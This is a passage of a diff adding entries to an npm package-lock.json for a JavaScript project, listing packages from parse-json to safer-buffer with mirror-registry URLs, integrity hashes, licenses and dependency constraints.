"resolved": "https://registry.npmmirror.com/parse-json/-/parse-json-4.0.0.tgz", + "integrity": "sha512-aOIos8bujGN93/8Ox/jPLh7RwVnPEysynVFE+fQZyg6jKELEHwzgKdLRFHUgXJL6kylijVSBC4BvN9OmsB48Rw==", + "dev": true, + "license": "MIT", + "dependencies": { + "error-ex": "^1.3.1", + "json-parse-better-errors": "^1.0.1" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/parse5": { + "version": "7.2.1", + "resolved": "https://registry.npmmirror.com/parse5/-/parse5-7.2.1.tgz", + "integrity": "sha512-BuBYQYlv1ckiPdQi/ohiivi9Sagc9JG+Ozs0r7b/0iK3sKmrb0b9FdWdBbOdx6hBCM/F9Ir82ofnBhtZOjCRPQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "entities": "^4.5.0" + }, + "funding": { + "url": "https://github.com/inikulin/parse5?sponsor=1" + } + }, + "node_modules/path-browserify": { + "version": "1.0.1", + "resolved": "https://registry.npmmirror.com/path-browserify/-/path-browserify-1.0.1.tgz", + "integrity": "sha512-b7uo2UCUOYZcnF/3ID0lulOJi/bafxa1xPe7ZPsammBSpjSWQkjNxlt635YGS2MiR9GjvuXCtz2emr3jbsz98g==", + "dev": true, + "license": "MIT" + }, + "node_modules/path-exists": { + "version": "4.0.0", + "resolved": "https://registry.npmmirror.com/path-exists/-/path-exists-4.0.0.tgz", + "integrity": "sha512-ak9Qy5Q7jYb2Wwcey5Fpvg2KoAc/ZIhLSLOSBmRmygPsGwkVVt0fZa0qrtMz+m6tJTAHfZQ8FnmB4MG4LWy7/w==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/path-is-absolute": { + "version": "1.0.1", + "resolved": "https://registry.npmmirror.com/path-is-absolute/-/path-is-absolute-1.0.1.tgz", + "integrity": "sha512-AVbw3UJ2e9bq64vSaS9Am0fje1Pa8pbGqTTsmXfaIiMpnr5DlDhfJOuLj9Sf95ZPVDAUerDfEk88MPmPe7UCQg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/path-key": { + "version": "3.1.1", + "resolved": "https://registry.npmmirror.com/path-key/-/path-key-3.1.1.tgz", + "integrity": "sha512-ojmeN0qd+y0jszEtoY48r0Peq5dwMEkIlCOu6Q5f41lfkswXuKtYrhgoTpLnyIcHm24Uhqx+5Tqm2InSwLhE6Q==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/path-parse": { + "version": "1.0.7", + "resolved": "https://registry.npmmirror.com/path-parse/-/path-parse-1.0.7.tgz", + "integrity": "sha512-LDJzPVEEEPR+y48z93A0Ed0yXb8pAByGWo/k5YYdYgpY2/2EsOsksJrq7lOHxryrVOn1ejG6oAp8ahvOIQD8sw==", + "dev": true, + "license": "MIT" + }, + "node_modules/path-scurry": { + "version": "1.11.1", + "resolved": "https://registry.npmmirror.com/path-scurry/-/path-scurry-1.11.1.tgz", + "integrity": "sha512-Xa4Nw17FS9ApQFJ9umLiJS4orGjm7ZzwUrwamcGQuHSzDyth9boKDaycYdDcZDuqYATXw4HFXgaqWTctW/v1HA==", + "dev": true, + "license": "BlueOak-1.0.0", + "dependencies": { + "lru-cache": "^10.2.0", + "minipass": "^5.0.0 || ^6.0.2 || ^7.0.0" + }, + "engines": { + "node": ">=16 || 14 >=14.18" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + } + }, + "node_modules/path-type": { + "version": "4.0.0", + "resolved": "https://registry.npmmirror.com/path-type/-/path-type-4.0.0.tgz", + "integrity": "sha512-gDKb8aZMDeD/tZWs9P6+q0J9Mwkdl6xMV8TjnGP3qJVJ06bdMgkbBlLU8IdfOsIsFz2BW1rNVT3XuNEl8zPAvw==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/pathval": { + "version": "1.1.1", + "resolved": "https://registry.npmmirror.com/pathval/-/pathval-1.1.1.tgz", + "integrity": "sha512-Dp6zGqpTdETdR63lehJYPeIOqpiNBNtc7BpWSLrOje7UaIsE5aY92r/AunQA7rsXvet3lrJ3JnZX29UPTKXyKQ==", + "dev": true, + "license": "MIT", + "engines": { + "node": "*" + } + }, + "node_modules/pause-stream": { + "version": "0.0.11", + "resolved": "https://registry.npmmirror.com/pause-stream/-/pause-stream-0.0.11.tgz", + "integrity": "sha512-e3FBlXLmN/D1S+zHzanP4E/4Z60oFAa3O051qt1pxa7DEJWKAyil6upYVXCWadEnuoqa4Pkc9oUx9zsxYeRv8A==", + "dev": true, + "license": [ + "MIT", + "Apache2" + ], + "dependencies": { + "through": "~2.3" + } + }, + "node_modules/pend": { + "version": "1.2.0", + "resolved": "https://registry.npmmirror.com/pend/-/pend-1.2.0.tgz", + "integrity": "sha512-F3asv42UuXchdzt+xXqfW1OGlVBe+mxa2mqI0pg5yAHZPvFmY3Y6drSf/GQ1A86WgWEN9Kzh/WrgKa6iGcHXLg==", + "dev": true, + "license": "MIT" + }, + "node_modules/performance-now": { + "version": "2.1.0", + "resolved": "https://registry.npmmirror.com/performance-now/-/performance-now-2.1.0.tgz", + "integrity": "sha512-7EAHlyLHI56VEIdK57uwHdHKIaAGbnXPiw0yWbarQZOKaKpvUIgW0jWRVLiatnM+XXlSwsanIBH/hzGMJulMow==", + "dev": true, + "license": "MIT" + }, + "node_modules/picocolors": { + "version": "1.1.1", + "resolved": "https://registry.npmmirror.com/picocolors/-/picocolors-1.1.1.tgz", + "integrity": "sha512-xceH2snhtb5M9liqDsmEw56le376mTZkEX/jEb/RxNFyegNul7eNslCXP9FDj/Lcu0X8KEyMceP2ntpaHrDEVA==", + "license": "ISC" + }, + "node_modules/picomatch": { + "version": "2.3.1", + "resolved": "https://registry.npmmirror.com/picomatch/-/picomatch-2.3.1.tgz", + "integrity": "sha512-JU3teHTNjmE2VCGFzuY8EXzCDVwEqB2a8fsIvwaStHhAWJEeVd1o1QD80CU6+ZdEXXSLbSsuLwJjkCBWqRQUVA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=8.6" + }, + "funding": { + "url": "https://github.com/sponsors/jonschlinkert" + } + }, + "node_modules/pidtree": { + "version": "0.3.1", + "resolved": "https://registry.npmmirror.com/pidtree/-/pidtree-0.3.1.tgz", + "integrity": "sha512-qQbW94hLHEqCg7nhby4yRC7G2+jYHY4Rguc2bjw7Uug4GIJuu1tvf2uHaZv5Q8zdt+WKJ6qK1FOI6amaWUo5FA==", + "dev": true, + "license": "MIT", + "bin": { + "pidtree": "bin/pidtree.js" + }, + "engines": { + "node": ">=0.10" + } + }, + "node_modules/pify": { + "version": "2.3.0", + "resolved": "https://registry.npmmirror.com/pify/-/pify-2.3.0.tgz", + "integrity": "sha512-udgsAY+fTnvv7kI7aaxbqwWNb0AHiB0qBO89PZKPkoTmGOgdbrHDKD+0B2X4uTfJ/FT1R09r9gTsjUjNJotuog==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/pinia": { + "version": "2.3.1", + "resolved": "https://registry.npmmirror.com/pinia/-/pinia-2.3.1.tgz", + "integrity": "sha512-khUlZSwt9xXCaTbbxFYBKDc/bWAGWJjOgvxETwkTN7KRm66EeT1ZdZj6i2ceh9sP2Pzqsbc704r2yngBrxBVug==", + "license": "MIT", + "dependencies": { + "@vue/devtools-api": "^6.6.3", + "vue-demi": "^0.14.10" + }, + "funding": { + "url": "https://github.com/sponsors/posva" + }, + "peerDependencies": { + "typescript": ">=4.4.4", + "vue": "^2.7.0 || ^3.5.11" + }, + "peerDependenciesMeta": { + "typescript": { + "optional": true + } + } + }, + "node_modules/possible-typed-array-names": { + "version": "1.1.0", + "resolved": "https://registry.npmmirror.com/possible-typed-array-names/-/possible-typed-array-names-1.1.0.tgz", + "integrity": "sha512-/+5VFTchJDoVj3bhoqi6UeymcD00DAwb1nJwamzPvHEszJ4FpF6SNNbUbOS8yI56qHzdV8eK0qEfOSiodkTdxg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/postcss": { + "version": "8.5.3", + "resolved": "https://registry.npmmirror.com/postcss/-/postcss-8.5.3.tgz", + "integrity": "sha512-dle9A3yYxlBSrt8Fu+IpjGT8SY8hN0mlaA6GY8t0P5PjIOZemULz/E2Bnm/2dcUOena75OTNkHI76uZBNUUq3A==", + "funding": [ + { + "type": "opencollective", + "url": "https://opencollective.com/postcss/" + }, + { + "type": "tidelift", + "url": "https://tidelift.com/funding/github/npm/postcss" + }, + { + "type": "github", + "url": "https://github.com/sponsors/ai" + } + ], + "license": "MIT", + "dependencies": { + "nanoid": "^3.3.8", + "picocolors": "^1.1.1", + "source-map-js": "^1.2.1" + }, + "engines": { + "node": "^10 || ^12 || >=14" + } + }, + "node_modules/postcss-selector-parser": { + "version": "6.1.2", + "resolved": "https://registry.npmmirror.com/postcss-selector-parser/-/postcss-selector-parser-6.1.2.tgz", + "integrity": "sha512-Q8qQfPiZ+THO/3ZrOrO0cJJKfpYCagtMUkXbnEfmgUjwXg6z/WBeOyS9APBBPCTSiDV+s4SwQGu8yFsiMRIudg==", + "dev": true, + "license": "MIT", + "dependencies": { + "cssesc": "^3.0.0", + "util-deprecate": "^1.0.2" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/prelude-ls": { + "version": "1.2.1", + "resolved": "https://registry.npmmirror.com/prelude-ls/-/prelude-ls-1.2.1.tgz", + "integrity": "sha512-vkcDPrRZo1QZLbn5RLGPpg/WmIQ65qoWWhcGKf/b5eplkkarX0m9z8ppCat4mlOqUsWpyNuYgO3VRyrYHSzX5g==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 0.8.0" + } + }, + "node_modules/prettier": { + "version": "2.8.8", + "resolved": "https://registry.npmmirror.com/prettier/-/prettier-2.8.8.tgz", + "integrity": "sha512-tdN8qQGvNjw4CHbY+XXk0JgCXn9QiF21a55rBe5LJAU+kDyC4WQn4+awm2Xfk2lQMk5fKup9XgzTZtGkjBdP9Q==", + "dev": true, + "license": "MIT", + "bin": { + "prettier": "bin-prettier.js" + }, + "engines": { + "node": ">=10.13.0" + }, + "funding": { + "url": "https://github.com/prettier/prettier?sponsor=1" + } + }, + "node_modules/prettier-linter-helpers": { + "version": "1.0.0", + "resolved": "https://registry.npmmirror.com/prettier-linter-helpers/-/prettier-linter-helpers-1.0.0.tgz", + "integrity": "sha512-GbK2cP9nraSSUF9N2XwUwqfzlAFlMNYYl+ShE/V+H8a9uNl/oUqB1w2EL54Jh0OlyRSd8RfWYJ3coVS4TROP2w==", + "dev": true, + "license": "MIT", + "dependencies": { + "fast-diff": "^1.1.2" + }, + "engines": { + "node": ">=6.0.0" + } + }, + "node_modules/pretty-bytes": { + "version": "5.6.0", + "resolved": "https://registry.npmmirror.com/pretty-bytes/-/pretty-bytes-5.6.0.tgz", + "integrity": "sha512-FFw039TmrBqFK8ma/7OL3sDz/VytdtJr044/QUJtH0wK9lb9jLq9tJyIxUwtQJHwar2BqtiA4iCWSwo9JLkzFg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=6" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/process": { + "version": "0.11.10", + "resolved": "https://registry.npmmirror.com/process/-/process-0.11.10.tgz", + "integrity": "sha512-cdGef/drWFoydD1JsMzuFf8100nZl+GT+yacc2bEced5f9Rjk4z+WtFUTBu9PhOi9j/jfmBPu0mMEY4wIdAF8A==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 0.6.0" + } + }, + "node_modules/process-nextick-args": { + "version": "2.0.1", + "resolved": "https://registry.npmmirror.com/process-nextick-args/-/process-nextick-args-2.0.1.tgz", + "integrity": "sha512-3ouUOpQhtgrbOa17J7+uxOTpITYWaGP7/AhoR3+A+/1e9skrzelGi/dXzEYyvbxubEF6Wn2ypscTKiKJFFn1ag==", + "dev": true, + "license": "MIT" + }, + "node_modules/proto-list": { + "version": "1.2.4", + "resolved": "https://registry.npmmirror.com/proto-list/-/proto-list-1.2.4.tgz", + "integrity": "sha512-vtK/94akxsTMhe0/cbfpR+syPuszcuwhqVjJq26CuNDgFGj682oRBXOP5MJpv2r7JtE8MsiepGIqvvOTBwn2vA==", + "dev": true, + "license": "ISC" + }, + "node_modules/proxy-from-env": { + "version": "1.1.0", + "resolved": "https://registry.npmmirror.com/proxy-from-env/-/proxy-from-env-1.1.0.tgz", + "integrity": "sha512-D+zkORCbA9f1tdWRK0RaCR3GPv50cMxcrz4X8k5LTSUD1Dkw47mKJEZQNunItRTkWwgtaUSo1RVFRIG9ZXiFYg==", + "license": "MIT" + }, + "node_modules/ps-tree": { + "version": "1.2.0", + "resolved": "https://registry.npmmirror.com/ps-tree/-/ps-tree-1.2.0.tgz", + "integrity": "sha512-0VnamPPYHl4uaU/nSFeZZpR21QAWRz+sRv4iW9+v/GS/J5U5iZB5BNN6J0RMoOvdx2gWM2+ZFMIm58q24e4UYA==", + "dev": true, + "license": "MIT", + "dependencies": { + "event-stream": "=3.3.4" + }, + "bin": { + "ps-tree": "bin/ps-tree.js" + }, + "engines": { + "node": ">= 0.10" + } + }, + "node_modules/psl": { + "version": "1.15.0", + "resolved": "https://registry.npmmirror.com/psl/-/psl-1.15.0.tgz", + "integrity": "sha512-JZd3gMVBAVQkSs6HdNZo9Sdo0LNcQeMNP3CozBJb3JYC/QUYZTnKxP+f8oWRX4rHP5EurWxqAHTSwUCjlNKa1w==", + "dev": true, + "license": "MIT", + "dependencies": { + "punycode": "^2.3.1" + }, + "funding": { + "url": "https://github.com/sponsors/lupomontero" + } + }, + "node_modules/pump": { + "version": "3.0.2", + "resolved": "https://registry.npmmirror.com/pump/-/pump-3.0.2.tgz", + "integrity": "sha512-tUPXtzlGM8FE3P0ZL6DVs/3P58k9nk8/jZeQCurTJylQA8qFYzHFfhBJkuqyE0FifOsQ0uKWekiZ5g8wtr28cw==", + "dev": true, + "license": "MIT", + "dependencies": { + "end-of-stream": "^1.1.0", + "once": "^1.3.1" + } + }, + "node_modules/punycode": { + "version": "2.3.1", + "resolved": "https://registry.npmmirror.com/punycode/-/punycode-2.3.1.tgz", + "integrity": "sha512-vYt7UD1U9Wg6138shLtLOvdAu+8DsC/ilFtEVHcH+wydcSpNE20AfSOduf6MkRFahL5FY7X1oU7nKVZFtfq8Fg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=6" + } + }, + "node_modules/qs": { + "version": "6.10.4", + "resolved": "https://registry.npmmirror.com/qs/-/qs-6.10.4.tgz", + "integrity": "sha512-OQiU+C+Ds5qiH91qh/mg0w+8nwQuLjM4F4M/PbmhDOoYehPh+Fb0bDjtR1sOvy7YKxvj28Y/M0PhP5uVX0kB+g==", + "dev": true, + "license": "BSD-3-Clause", + "dependencies": { + "side-channel": "^1.0.4" + }, + "engines": { + "node": ">=0.6" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/querystringify": { + "version": "2.2.0", + "resolved": "https://registry.npmmirror.com/querystringify/-/querystringify-2.2.0.tgz", + "integrity": "sha512-FIqgj2EUvTa7R50u0rGsyTftzjYmv/a3hO345bZNrqabNqjtgiDMgmo4mkUjd+nzU5oF3dClKqFIPUKybUyqoQ==", + "dev": true, + "license": "MIT" + }, + "node_modules/queue-microtask": { + "version": "1.2.3", + "resolved": "https://registry.npmmirror.com/queue-microtask/-/queue-microtask-1.2.3.tgz", + "integrity": "sha512-NuaNSa6flKT5JaSYQzJok04JzTL1CA6aGhv5rfLW3PgqA+M2ChpZQnAC8h8i4ZFkBS8X5RqkDBHA7r4hej3K9A==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/feross" + }, + { + "type": "patreon", + "url": "https://www.patreon.com/feross" + }, + { + "type": "consulting", + "url": "https://feross.org/support" + } + ], + "license": "MIT" + }, + "node_modules/read-pkg": { + "version": "3.0.0", + "resolved": "https://registry.npmmirror.com/read-pkg/-/read-pkg-3.0.0.tgz", + "integrity": "sha512-BLq/cCO9two+lBgiTYNqD6GdtK8s4NpaWrl6/rCO9w0TUS8oJl7cmToOZfRYllKTISY6nt1U7jQ53brmKqY6BA==", + "dev": true, + "license": "MIT", + "dependencies": { + "load-json-file": "^4.0.0", + "normalize-package-data": "^2.3.2", + "path-type": "^3.0.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/read-pkg/node_modules/path-type": { + "version": "3.0.0", + "resolved": "https://registry.npmmirror.com/path-type/-/path-type-3.0.0.tgz", + "integrity": "sha512-T2ZUsdZFHgA3u4e5PfPbjd7HDDpxPnQb5jN0SrDsjNSuVXHJqtwTnWqG0B1jZrgmJ/7lj1EmVIByWt1gxGkWvg==", + "dev": true, + "license": "MIT", + "dependencies": { + "pify": "^3.0.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/read-pkg/node_modules/pify": { + "version": "3.0.0", + "resolved": "https://registry.npmmirror.com/pify/-/pify-3.0.0.tgz", + "integrity": "sha512-C3FsVNH1udSEX48gGX1xfvwTWfsYWj5U+8/uK15BGzIGrKoUpghX8hWZwa/OFnakBiiVNmBvemTJR5mcy7iPcg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=4" + } + }, + "node_modules/readable-stream": { + "version": "4.7.0", + "resolved": "https://registry.npmmirror.com/readable-stream/-/readable-stream-4.7.0.tgz", + "integrity": "sha512-oIGGmcpTLwPga8Bn6/Z75SVaH1z5dUut2ibSyAMVhmUggWpmDn2dapB0n7f8nwaSiRtepAsfJyfXIO5DCVAODg==", + "dev": true, + "license": "MIT", + "dependencies": { + "abort-controller": "^3.0.0", + "buffer": "^6.0.3", + "events": "^3.3.0", + "process": "^0.11.10", + "string_decoder": "^1.3.0" + }, + "engines": { + "node": "^12.22.0 || ^14.17.0 || >=16.0.0" + } + }, + "node_modules/readable-stream/node_modules/buffer": { + "version": "6.0.3", + "resolved": "https://registry.npmmirror.com/buffer/-/buffer-6.0.3.tgz", + "integrity": "sha512-FTiCpNxtwiZZHEZbcbTIcZjERVICn9yq/pDFkTl95/AxzD1naBctN7YO68riM/gLSDY7sdrMby8hofADYuuqOA==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/feross" + }, + { + "type": "patreon", + "url": "https://www.patreon.com/feross" + }, + { + "type": "consulting", + "url": "https://feross.org/support" + } + ], + "license": "MIT", + "dependencies": { + "base64-js": "^1.3.1", + "ieee754": "^1.2.1" + } + }, + "node_modules/readdir-glob": { + "version": "1.1.3", + "resolved": "https://registry.npmmirror.com/readdir-glob/-/readdir-glob-1.1.3.tgz", + "integrity": "sha512-v05I2k7xN8zXvPD9N+z/uhXPaj0sUFCe2rcWZIpBsqxfP7xXFQ0tipAd/wjj1YxWyWtUS5IDJpOG82JKt2EAVA==", + "dev": true, + "license": "Apache-2.0", + "dependencies": { + "minimatch": "^5.1.0" + } + }, + "node_modules/readdir-glob/node_modules/brace-expansion": { + "version": "2.0.1", + "resolved": "https://registry.npmmirror.com/brace-expansion/-/brace-expansion-2.0.1.tgz", + "integrity": "sha512-XnAIvQ8eM+kC6aULx6wuQiwVsnzsi9d3WxzV3FpWTGA19F621kwdbsAcFKXgKUHZWsy+mY6iL1sHTxWEFCytDA==", + "dev": true, + "license": "MIT", + "dependencies": { + "balanced-match": "^1.0.0" + } + }, + "node_modules/readdir-glob/node_modules/minimatch": { + "version": "5.1.6", + "resolved": "https://registry.npmmirror.com/minimatch/-/minimatch-5.1.6.tgz", + "integrity": "sha512-lKwV/1brpG6mBUFHtb7NUmtABCb2WZZmm2wNiOA5hAb8VdCS4B3dtMWyvcoViccwAW/COERjXLt0zP1zXUN26g==", + "dev": true, + "license": "ISC", + "dependencies": { + "brace-expansion": "^2.0.1" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/reflect.getprototypeof": { + "version": "1.0.10", + "resolved": "https://registry.npmmirror.com/reflect.getprototypeof/-/reflect.getprototypeof-1.0.10.tgz", + "integrity": "sha512-00o4I+DVrefhv+nX0ulyi3biSHCPDe+yLv5o/p6d/UVlirijB8E16FtfwSAi4g3tcqrQ4lRAqQSoFEZJehYEcw==", + "dev": true, + "license": "MIT", + "dependencies": { + "call-bind": "^1.0.8", + "define-properties": "^1.2.1", + "es-abstract": "^1.23.9", + "es-errors": "^1.3.0", + "es-object-atoms": "^1.0.0", + "get-intrinsic": "^1.2.7", + "get-proto": "^1.0.1", + "which-builtin-type": "^1.2.1" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/regexp.prototype.flags": { + "version": "1.5.4", + "resolved": "https://registry.npmmirror.com/regexp.prototype.flags/-/regexp.prototype.flags-1.5.4.tgz", + "integrity": "sha512-dYqgNSZbDwkaJ2ceRd9ojCGjBq+mOm9LmtXnAnEGyHhN/5R7iDW2TRw3h+o/jCFxus3P2LfWIIiwowAjANm7IA==", + "dev": true, + "license": "MIT", + "dependencies": { + "call-bind": "^1.0.8", + "define-properties": "^1.2.1", + "es-errors": "^1.3.0", + "get-proto": "^1.0.1", + "gopd": "^1.2.0", + "set-function-name": "^2.0.2" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/request-progress": { + "version": "3.0.0", + "resolved": "https://registry.npmmirror.com/request-progress/-/request-progress-3.0.0.tgz", + "integrity": "sha512-MnWzEHHaxHO2iWiQuHrUPBi/1WeBf5PkxQqNyNvLl9VAYSdXkP8tQ3pBSeCPD+yw0v0Aq1zosWLz0BdeXpWwZg==", + "dev": true, + "license": "MIT", + "dependencies": { + "throttleit": "^1.0.0" + } + }, + "node_modules/requires-port": { + "version": "1.0.0", + "resolved": "https://registry.npmmirror.com/requires-port/-/requires-port-1.0.0.tgz", + "integrity": "sha512-KigOCHcocU3XODJxsu8i/j8T9tzT4adHiecwORRQ0ZZFcp7ahwXuRU1m+yuO90C5ZUyGeGfocHDI14M3L3yDAQ==", + "dev": true, + "license": "MIT" + }, + "node_modules/resolve": { + "version": "1.22.10", + "resolved": "https://registry.npmmirror.com/resolve/-/resolve-1.22.10.tgz", + "integrity": "sha512-NPRy+/ncIMeDlTAsuqwKIiferiawhefFJtkNSW0qZJEqMEb+qBt/77B/jGeeek+F0uOeN05CDa6HXbbIgtVX4w==", + "dev": true, + "license": "MIT", + "dependencies": { + "is-core-module": "^2.16.0", + "path-parse": "^1.0.7", + "supports-preserve-symlinks-flag": "^1.0.0" + }, + "bin": { + "resolve": "bin/resolve" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/resolve-from": { + "version": "4.0.0", + "resolved": "https://registry.npmmirror.com/resolve-from/-/resolve-from-4.0.0.tgz", + "integrity": "sha512-pb/MYmXstAkysRFx8piNI1tGFNQIFA3vkE3Gq4EuA1dF6gHp/+vgZqsCGJapvy8N3Q+4o7FwvquPJcnZ7RYy4g==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=4" + } + }, + "node_modules/restore-cursor": { + "version": "3.1.0", + "resolved": "https://registry.npmmirror.com/restore-cursor/-/restore-cursor-3.1.0.tgz", + "integrity": "sha512-l+sSefzHpj5qimhFSE5a8nufZYAM3sBSVMAPtYkmC+4EH2anSGaEMXSD0izRQbu9nfyQ9y5JrVmp7E8oZrUjvA==", + "dev": true, + "license": "MIT", + "dependencies": { + "onetime": "^5.1.0", + "signal-exit": "^3.0.2" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/reusify": { + "version": "1.1.0", + "resolved": "https://registry.npmmirror.com/reusify/-/reusify-1.1.0.tgz", + "integrity": "sha512-g6QUff04oZpHs0eG5p83rFLhHeV00ug/Yf9nZM6fLeUrPguBTkTQOdpAWWspMh55TZfVQDPaN3NQJfbVRAxdIw==", + "dev": true, + "license": "MIT", + "engines": { + "iojs": ">=1.0.0", + "node": ">=0.10.0" + } + }, + "node_modules/rfdc": { + "version": "1.4.1", + "resolved": "https://registry.npmmirror.com/rfdc/-/rfdc-1.4.1.tgz", + "integrity": "sha512-q1b3N5QkRUWUl7iyylaaj3kOpIT0N2i9MqIEQXP73GVsN9cw3fdx8X63cEmWhJGi2PPCF23Ijp7ktmd39rawIA==", + "dev": true, + "license": "MIT" + }, + "node_modules/rimraf": { + "version": "3.0.2", + "resolved": "https://registry.npmmirror.com/rimraf/-/rimraf-3.0.2.tgz", + "integrity": "sha512-JZkJMZkAGFFPP2YqXZXPbMlMBgsxzE8ILs4lMIX/2o0L9UBw9O/Y3o6wFw/i9YLapcUJWwqbi3kdxIPdC62TIA==", + "deprecated": "Rimraf versions prior to v4 are no longer supported", + "dev": true, + "license": "ISC", + "dependencies": { + "glob": "^7.1.3" + }, + "bin": { + "rimraf": "bin.js" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + } + }, + "node_modules/rimraf/node_modules/glob": { + "version": "7.2.3", + "resolved": "https://registry.npmmirror.com/glob/-/glob-7.2.3.tgz", + "integrity": "sha512-nFR0zLpU2YCaRxwoCJvL6UvCH2JFyFVIvwTLsIf21AuHlMskA1hhTdk+LlYJtOlYt9v6dvszD2BGRqBL+iQK9Q==", + "deprecated": "Glob versions prior to v9 are no longer supported", + "dev": true, + "license": "ISC", + "dependencies": { + "fs.realpath": "^1.0.0", + "inflight": "^1.0.4", + "inherits": "2", + "minimatch": "^3.1.1", + "once": "^1.3.0", + "path-is-absolute": "^1.0.0" + }, + "engines": { + "node": "*" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + } + }, + "node_modules/rollup": { + "version": "3.29.5", + "resolved": "https://registry.npmmirror.com/rollup/-/rollup-3.29.5.tgz", + "integrity": "sha512-GVsDdsbJzzy4S/v3dqWPJ7EfvZJfCHiDqe80IyrF59LYuP+e6U1LJoUqeuqRbwAWoMNoXivMNeNAOf5E22VA1w==", + "dev": true, + "license": "MIT", + "bin": { + "rollup": "dist/bin/rollup" + }, + "engines": { + "node": ">=14.18.0", + "npm": ">=8.0.0" + }, + "optionalDependencies": { + "fsevents": "~2.3.2" + } + }, + "node_modules/run-parallel": { + "version": "1.2.0", + "resolved": "https://registry.npmmirror.com/run-parallel/-/run-parallel-1.2.0.tgz", + "integrity": "sha512-5l4VyZR86LZ/lDxZTR6jqL8AFE2S0IFLMP26AbjsLVADxHdhB/c0GUsH+y39UfCi3dzz8OlQuPmnaJOMoDHQBA==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/feross" + }, + { + "type": "patreon", + "url": "https://www.patreon.com/feross" + }, + { + "type": "consulting", + "url": "https://feross.org/support" + } + ], + "license": "MIT", + "dependencies": { + "queue-microtask": "^1.2.2" + } + }, + "node_modules/rxjs": { + "version": "7.8.2", + "resolved": "https://registry.npmmirror.com/rxjs/-/rxjs-7.8.2.tgz", + "integrity": "sha512-dhKf903U/PQZY6boNNtAGdWbG85WAbjT/1xYoZIC7FAY0yWapOBQVsVrDl58W86//e1VpMNBtRV4MaXfdMySFA==", + "dev": true, + "license": "Apache-2.0", + "dependencies": { + "tslib": "^2.1.0" + } + }, + "node_modules/safe-array-concat": { + "version": "1.1.3", + "resolved": "https://registry.npmmirror.com/safe-array-concat/-/safe-array-concat-1.1.3.tgz", + "integrity": "sha512-AURm5f0jYEOydBj7VQlVvDrjeFgthDdEF5H1dP+6mNpoXOMo1quQqJ4wvJDyRZ9+pO3kGWoOdmV08cSv2aJV6Q==", + "dev": true, + "license": "MIT", + "dependencies": { + "call-bind": "^1.0.8", + "call-bound": "^1.0.2", + "get-intrinsic": "^1.2.6", + "has-symbols": "^1.1.0", + "isarray": "^2.0.5" + }, + "engines": { + "node": ">=0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/safe-buffer": { + "version": "5.2.1", + "resolved": "https://registry.npmmirror.com/safe-buffer/-/safe-buffer-5.2.1.tgz", + "integrity": "sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/feross" + }, + { + "type": "patreon", + "url": "https://www.patreon.com/feross" + }, + { + "type": "consulting", + "url": "https://feross.org/support" + } + ], + "license": "MIT" + }, + "node_modules/safe-push-apply": { + "version": "1.0.0", + "resolved": "https://registry.npmmirror.com/safe-push-apply/-/safe-push-apply-1.0.0.tgz", + "integrity": "sha512-iKE9w/Z7xCzUMIZqdBsp6pEQvwuEebH4vdpjcDWnyzaI6yl6O9FHvVpmGelvEHNsoY6wGblkxR6Zty/h00WiSA==", + "dev": true, + "license": "MIT", + "dependencies": { + "es-errors": "^1.3.0", + "isarray": "^2.0.5" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/safe-regex-test": { + "version": "1.1.0", + "resolved": "https://registry.npmmirror.com/safe-regex-test/-/safe-regex-test-1.1.0.tgz", + "integrity": "sha512-x/+Cz4YrimQxQccJf5mKEbIa1NzeCRNI5Ecl/ekmlYaampdNLPalVyIcCZNNH3MvmqBugV5TMYZXv0ljslUlaw==", + "dev": true, + "license": "MIT", + "dependencies": { + "call-bound": "^1.0.2", + "es-errors": "^1.3.0", + "is-regex": "^1.2.1" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/safer-buffer": { + "version": "2.1.2", + "resolved": "https://registry.npmmirror.com/safer-buffer/-/safer-buffer-2.1.2.tgz", + "integrity": 